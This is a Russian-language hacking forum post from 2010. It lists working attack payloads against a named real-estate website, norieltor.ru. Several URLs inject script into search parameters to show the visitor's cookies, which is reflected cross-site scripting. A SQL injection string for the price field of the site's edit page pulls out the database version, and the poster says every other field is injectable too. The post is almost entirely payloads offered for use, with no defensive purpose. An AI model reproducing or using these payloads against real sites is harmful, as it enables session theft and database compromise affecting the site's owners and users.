22.04.2010, 00:07
|
|
Познающий
Регистрация: 13.04.2010
Сообщений: 42
Провел на форуме:
460968
Репутация:
81
|
|
Код:
http://norieltor.ru/search/offer=1&p=3&c1=&c2=9999999999%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Пассивка
Код:
http://norieltor.ru/search/offer=1&p=3&c1=9999999999%22%3E%3Cscript%3Ealert(%22HOLE%22)%3C/script%3E&c2=
Еще одна
Код:
http://norieltor.ru/search/offer=1&p=3%22%3E%3Cscript%3Ealert(%22HOLE%22)%3C/script%3E&c1=9999999999&c2=
Там же
Инъекция!!!
http://norieltor.ru/edit/ -редактируем своё сообщение
в цену вставляем: 200', `cena`=(SELECT VERSION()),`plita`='1. В цене получим покоцаную версию.
Инъекция есть во всех остальных полях!!!
Продолжим:
4)http://norieltor.ru/search/offer=1&f=2%22%3Cscript%3Ealert(document.cookie)%3 C/script%3E
5)http://norieltor.ru/search/offer=1&v=2"<script>alert(document.cookie)</script>
6)http://norieltor.ru/search/offer=1&s=2%22%3Cscript%3Ealert(document.cookie)%3 C/script%3E
Последний раз редактировалось BlackSun; 22.04.2010 в 02:12..
|
|
|